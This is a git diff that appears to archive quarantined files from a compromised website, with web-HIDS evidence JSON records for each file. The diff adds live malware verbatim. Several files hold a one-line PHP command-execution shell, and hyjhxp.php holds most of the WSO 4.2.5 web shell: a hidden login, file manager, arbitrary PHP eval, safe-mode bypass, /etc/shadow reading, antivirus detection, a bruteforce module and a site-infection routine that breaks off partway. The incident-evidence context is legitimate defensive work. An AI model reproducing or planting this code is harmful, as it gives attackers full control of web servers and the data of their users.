";
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/com_joml_incf/joml_incf.php.evidence.json b/var/www/hosting/archline.hu/www/components/com_joml_incf/joml_incf.php.evidence.json
new file mode 100644
index 0000000..2fe65f0
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/com_joml_incf/joml_incf.php.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4776",
+ "log_excerpt": "[quarantine] www.archline.hu:components/com_joml_incf/joml_incf.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/com_joml_incf/joml_incf.php)",
+ "original_sha256": "5a2a84f37f564063481c8898748c07ccf3219b0ea7df420de3613affc846e74b",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1627260303,
+ "size": 2899,
+ "uid": 20043
+ },
+ "rel_path": "components/com_joml_incf/joml_incf.php",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/i9wliit0.php.json b/var/www/hosting/archline.hu/www/components/i9wliit0.php.json
new file mode 100644
index 0000000..4898f61
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/i9wliit0.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/i9wliit0.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/i9wliit0.php.json.evidence.json
new file mode 100644
index 0000000..986c159
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/i9wliit0.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4761",
+ "log_excerpt": "[quarantine] www.archline.hu:components/i9wliit0.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/i9wliit0.php.json)",
+ "original_sha256": "d4833d1399b264d7c64e932658c19246d5fd6aedee2233ed0faf4bb8d257004a",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783930728,
+ "size": 57,
+ "uid": 20043
+ },
+ "rel_path": "components/i9wliit0.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json.evidence.json
new file mode 100644
index 0000000..1c7fa28
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4767",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_3tdj3r.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111937,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_3tdj3r.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json.evidence.json
new file mode 100644
index 0000000..a00c2ed
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4769",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_3tdj3r.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_3tdj3r.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111919,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_3tdj3r.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json.evidence.json
new file mode 100644
index 0000000..468d861
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4760",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_bijdps.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_bijdps.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111773,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_bijdps.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json.evidence.json
new file mode 100644
index 0000000..77c0fc8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4766",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_bijdps.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_bijdps.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111755,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_bijdps.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json.evidence.json
new file mode 100644
index 0000000..cc73229
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4770",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_qbi8yu.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111792,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_qbi8yu.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json
@@ -0,0 +1 @@
+".php_uname()."\n"; system($_GET["c"]); echo ""; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json.evidence.json
new file mode 100644
index 0000000..441f2cc
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4765",
+ "log_excerpt": "[quarantine] www.archline.hu:components/r0ps_qbi8yu.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/r0ps_qbi8yu.php.json)",
+ "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+ "original_stat": {
+ "gid": 0,
+ "mtime": 1784111774,
+ "size": 74,
+ "uid": 20043
+ },
+ "rel_path": "components/r0ps_qbi8yu.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json b/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json
new file mode 100644
index 0000000..24c02b8
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json.evidence.json
new file mode 100644
index 0000000..9c7c643
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4763",
+ "log_excerpt": "[quarantine] www.archline.hu:components/rce_gh9k5v.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/rce_gh9k5v.php.json)",
+ "original_sha256": "9ba4b855f3bf60b7e6bf5678beca5959f76b278e4fbd911434d08c5ba0f17926",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783813022,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "components/rce_gh9k5v.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json b/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json
new file mode 100644
index 0000000..c1854f3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json.evidence.json
new file mode 100644
index 0000000..bc144c3
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+ "finding_ref": "4764",
+ "log_excerpt": "[quarantine] www.archline.hu:components/rce_wl28l3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/rce_wl28l3.php.json)",
+ "original_sha256": "eff6ad6424feaa82e756ab3264e8689f6293d56dd50f97e585c9572e2ae4cfaf",
+ "original_stat": {
+ "gid": 30037,
+ "mtime": 1783812935,
+ "size": 117,
+ "uid": 20043
+ },
+ "rel_path": "components/rce_wl28l3.php.json",
+ "result": "quarantined",
+ "timestamp": "20260718T160241Z",
+ "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/hyjhxp.php b/var/www/hosting/archline.hu/www/hyjhxp.php
new file mode 100755
index 0000000..493b2ad
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/hyjhxp.php
@@ -0,0 +1,1626 @@
+=strlen($str))break;}}return base64_decode($enc_str);}
+@ini_set('error_log',NULL);
+@ini_set('log_errors',0);
+@ini_set('max_execution_time',0);
+@set_time_limit(0);
+if (PHP_VERSION_ID < 70000)
+ @set_magic_quotes_runtime(0);
+@define('VERSION', '4.2.5');
+if(get_magic_quotes_gpc()) {
+ function stripslashes_array($array) {
+ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
+ }
+ $_POST = stripslashes_array($_POST);
+ $_COOKIE = stripslashes_array($_COOKIE);
+}
+/* (С) 11.2011 oRb */
+if(!empty($â–›)) {
+ if(isset($_POST['pass']) && (md5($_POST['pass']) == $â–›))
+ prototype(md5($_SERVER['HTTP_HOST']), $â–›);
+ if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $â–›))
+ hardLogin();
+}
+if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$â–˜;
+function hardLogin() {
+ if(!empty($_SERVER['HTTP_USER_AGENT'])) {
+ $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
+ if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
+ header('HTTP/1.0 404 Not Found');
+ exit;
+ }
+ }
+ die("");
+}
+if(strtolower(substr(PHP_OS,0,3)) == "win")
+ $os = 'win';
+else
+ $os = 'nix';
+$safe_mode = @ini_get('safe_mode');
+if(!$safe_mode)
+ error_reporting(0);
+$disable_functions = @ini_get('disable_functions');
+$home_cwd = @getcwd();
+if(isset($_POST['c']))
+ @chdir($_POST['c']);
+$cwd = @getcwd();
+if($os == 'win') {
+ $home_cwd = str_replace("\\", "/", $home_cwd);
+ $cwd = str_replace("\\", "/", $cwd);
+}
+if($cwd[strlen($cwd)-1] != '/')
+ $cwd .= '/';
+/* (С) 04.2015 Pirat */
+function hardHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = $GLOBALS['▜'];
+ echo "" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."
+
+
+
+
";
+ $freeSpace = @diskfreespace($GLOBALS['cwd']);
+ $totalSpace = @disk_total_space($GLOBALS['cwd']);
+ $totalSpace = $totalSpace?$totalSpace:1;
+ $release = @php_uname('r');
+ $kernel = @php_uname('s');
+ $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
+ if(strpos('Linux', $kernel) !== false)
+ $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
+ else
+ $explink .= urlencode($kernel . ' ' . substr($release,0,3));
+ if(!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+ } else {
+ $uid = @posix_getpwuid(@posix_geteuid());
+ $gid = @posix_getgrgid(@posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+ }
+ $cwd_links = '';
+ $path = explode("/", $GLOBALS['cwd']);
+ $n=count($path);
+ for($i=0; $i<$n-1; $i++) {
+ $cwd_links .= "
".$path[$i]."/";
+ }
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $â–Ÿ)
+ $opt_charsets .= '
';
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['â–›']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] | ';
+ $drives = "";
+ if ($GLOBALS['os'] == 'win') {
+ foreach(range('c','z') as $drive)
+ if (is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ /* (С) 08.2015 dmkcv */
+ echo '
Uname:
User:
Php:
Hdd:
Cwd:'.($GLOBALS['os'] == 'win'?'
Drives:':'').' | '.
+ ''.substr(@php_uname(), 0, 120).' [ Google ] [ Exploit-DB ]
'.$uid.' ( '.$user.' ) Group: '.$gid.' ( ' .$group. ' )
'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)
'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
'.$drives.' | '.
+ '
Server IP:
'.gethostbyname($_SERVER["HTTP_HOST"]).'
Client IP:
'.$_SERVER['REMOTE_ADDR'].' |
'.
+ '
';
+}
+function hardFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?" [ Writeable ]":" (Not writable)";
+ echo "
+
+
Server security information
';
+ function showSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
' . $n . ': ';
+ if(strpos($v, "\n") === false)
+ echo $v . '
';
+ else
+ echo '
' . $v . '
';
+ }
+ }
+ showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ if(function_exists('apache_get_modules'))
+ showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
+ showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
+ showSecParam('Open base dir', @ini_get('open_basedir'));
+ showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ showSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+ if($GLOBALS['os'] == 'nix') {
+ showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view]":'no');
+ showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view]":'no');
+ showSecParam('OS version', @file_get_contents('/proc/version'));
+ showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ echo '
';
+ $temp=array();
+ foreach ($userful as $â–Ÿ)
+ if(which($â–Ÿ))
+ $temp[] = $â–Ÿ;
+ showSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $â–Ÿ)
+ if(which($â–Ÿ))
+ $temp[] = $â–Ÿ;
+ showSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $â–Ÿ)
+ if(which($â–Ÿ))
+ $temp[] = $â–Ÿ;
+ showSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ showSecParam('HDD space', ex('df -h'));
+ showSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ showSecParam('Mount options', @file_get_contents('/etc/fstab'));
+ }
+ } else {
+ showSecParam('OS Version',ex('ver'));
+ showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
+ showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
+ }
+ echo '
File tools
';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ hardFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ if(!$uid) {
+ $uid['name'] = @fileowner($_POST['p1']);
+ $gid['name'] = @filegroup($_POST['p1']);
+ } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
+ echo '
Name: '.htmlspecialchars(@basename($_POST['p1'])).'
Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').'
Permission: '.viewPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo '';
+ break;
+ case 'highlight':
+ if( @is_readable($_POST['p1']) ) {
+ echo '
';
+ $oRb = @highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$oRb).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ $time = @filemtime($_POST['p1']);
+ $_POST['p3'] = substr($_POST['p3'],1);
+ $fp = @fopen($_POST['p1'],"w");
+ if($fp) {
+ @fwrite($fp,$_POST['p3']);
+ @fclose($fp);
+ echo 'Saved!
';
+ @touch($_POST['p1'],$time,$time);
+ }
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' | '.$h[1].' | '.htmlspecialchars($h[2]).' |
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(!touch($_POST['p1'],$time,$time))
+ echo 'Fail!';
+ else
+ echo 'Touched!';
+ } else echo 'Bad time format!';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ /* (С) 12.2015 mitryz */
+ case 'frame':
+ $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
+ if ($frameSrc[0] != '/')
+ $frameSrc = '/' . $frameSrc;
+ if ($frameSrc[strlen($frameSrc) - 1] != '/')
+ $frameSrc = $frameSrc . '/';
+ $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
+ echo '
';
+ break;
+ }
+ echo '
Console
';
+ hardFooter();
+}
+function actionPhp() {
+ if( isset($_POST['ajax']) ) {
+ $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
+ ob_start();
+ eval($_POST['p1']);
+ $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ hardHeader();
+ if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
+ echo 'PHP info
';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace('!body {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!h1!msiU','h2',$tmp);
+ $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
+ $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
+ echo $tmp;
+ echo '
';
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo 'Execution PHP-code
';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo 'File manager
';
+ $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+echo "
+
String conversions
';
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo"
Search files:
+
";
+ function hardRecursiveGlob($path) {
+ if(substr($path, -1) != '/')
+ $path.='/';
+ $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
+ if(is_array($paths)&&@count($paths)) {
+ foreach($paths as $â–Ÿ) {
+ if(@is_dir($â–Ÿ)){
+ if($path!=$â–Ÿ)
+ hardRecursiveGlob($â–Ÿ);
+ } else {
+ if(empty($_POST['p2']) || @strpos(file_get_contents($â–Ÿ), $_POST['p2'])!==false)
+ echo "
".htmlspecialchars($â–Ÿ)."";
+ }
+ }
+ }
+ }
+ if(@$_POST['p3'])
+ hardRecursiveGlob($_POST['c']);
+ echo "
Search for hash:
+
";
+ hardFooter();
+}
+function actionSafeMode() {
+ $temp='';
+ ob_start();
+ switch($_POST['p1']) {
+ case 1:
+ $temp=@tempnam($test, 'cx');
+ if(@copy("compress.zlib://".$_POST['p2'], $temp)){
+ echo @file_get_contents($temp);
+ unlink($temp);
+ } else
+ echo 'Sorry... Can\'t open file';
+ break;
+ case 2:
+ $files = glob($_POST['p2'].'*');
+ if( is_array($files) )
+ foreach ($files as $filename)
+ echo $filename."\n";
+ break;
+ case 3:
+ $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
+ curl_exec($ch);
+ break;
+ case 4:
+ ini_restore("safe_mode");
+ ini_restore("open_basedir");
+ include($_POST['p2']);
+ break;
+ case 5:
+ for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
+ $uid = @posix_getpwuid($_POST['p2']);
+ if ($uid)
+ echo join(':',$uid)."\n";
+ }
+ break;
+ case 6:
+ if(!function_exists('imap_open'))break;
+ $stream = imap_open($_POST['p2'], "", "");
+ if ($stream == FALSE)
+ break;
+ echo imap_body($stream, 1);
+ imap_close($stream);
+ break;
+ }
+ $temp = ob_get_clean();
+ hardHeader();
+ echo 'Safe mode bypass
';
+ echo '
Copy (read file)Glob (list dir)Curl (read file)Ini_restore (read file)Posix_getpwuid ("Read" /etc/passwd)Imap_open (read file)';
+ if($temp)
+ echo '
'.$temp.'
';
+ echo '
Suicide
Really want to remove the shell?
YesInfect
';
+ if($_POST['p1'] == 'infect') {
+ $target=$_SERVER['DOCUMENT_ROOT'];
+ function ListFiles($dir) {
+ if($dh = opendir($dir)) {
+ $files = Array();
+ $inner_files = Array();
+ while($file = readdir($dh)) {
